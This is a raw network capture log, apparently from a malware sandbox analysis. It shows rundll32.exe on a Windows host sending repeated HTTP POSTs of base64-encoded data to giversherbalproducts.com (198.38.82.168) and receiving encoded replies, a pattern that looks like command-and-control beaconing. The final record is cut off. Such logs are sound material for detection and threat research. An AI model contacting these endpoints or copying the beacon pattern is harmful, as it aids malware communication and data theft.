Oct 4, 2021 16:02:33.360032082 CEST	7174	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:32 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.3	49770	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:16.333136082 CEST	1066	OUT	POST /lBawcxb5/GB0tLyckQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:16.784605026 CEST	1067	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:16 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.3	50005	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:33.642579079 CEST	7175	OUT	POST /lBawcxb5/PyM9GiM9IQJ/HHodGDQ1MT5CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:34.127849102 CEST	7176	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:33 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 66 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+f0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.3	50006	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:34.465809107 CEST	7177	OUT	POST /lBawcxb5/DRM6CwovIR08KgAtAy0Ffhp6RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:35.002763033 CEST	7178	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.3	50002	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:34.601382971 CEST	7177	OUT	POST /lBawcxb5/OSl9RX5yeGV9eXNkeWJ8 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:35.121512890 CEST	7179	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:34 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.3	50007	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:35.426613092 CEST	7179	OUT	POST /lBawcxb5/ARIOfBYGO3o7KnIbB349AA84dDZCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:35.916776896 CEST	7181	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.3	50008	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:35.580688953 CEST	7180	OUT	POST /lBawcxb5/AhIaKCwxEn8qPXsYQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:36.042866945 CEST	7182	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:35 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+eUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.3	50009	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:36.249814034 CEST	7182	OUT	POST /lBawcxb5/DwsdInwaBgE7GDJDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:36.784569979 CEST	7184	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.3	50010	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:36.423326969 CEST	7183	OUT	POST /lBawcxb5/PyM9GiM9IQJ/HHodGDQ1MT5CfXZ5ZHp6d2V4ZX8= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:36.869172096 CEST	7185	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:36 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt+ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.3	50011	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:37.111680984 CEST	7186	OUT	POST /lBawcxb5/PQQALnsHHi0AAgZDenV9ZXt9dGF5ZHg= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:37.595218897 CEST	7187	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:37 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 2b 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: 